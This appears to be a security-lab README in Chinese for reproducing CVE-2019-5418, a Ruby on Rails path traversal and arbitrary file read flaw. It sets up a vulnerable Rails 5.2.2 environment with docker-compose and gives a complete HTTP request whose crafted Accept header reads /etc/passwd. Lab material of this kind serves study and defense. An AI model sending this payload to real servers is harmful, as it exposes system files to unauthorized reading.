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add manual
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phith0n committed Mar 18, 2019
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# Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

在控制器中通过`render file`形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入`Accept: ../../../../../../../../etc/passwd{{`头来构成构造路径穿越漏洞,读取任意文件。

参考链接:

- https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q
- https://xz.aliyun.com/t/4448

## 环境搭建

执行如下命令编译及启动Rail On Rails 5.2.2:

```
docker-compose build
docker-compose up -d
```

环境启动后,访问`http://your-ip:3000`即可看到Ruby on Rails的欢迎页面。

## 漏洞复现

访问`http://your-ip:3000/robots`可见,正常的robots.txt文件被读取出来。

利用漏洞,发送如下数据包,读取`/etc/passwd`

```
GET /robots HTTP/1.1
Host: your-ip:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
```

成功读取:

![](1.png)

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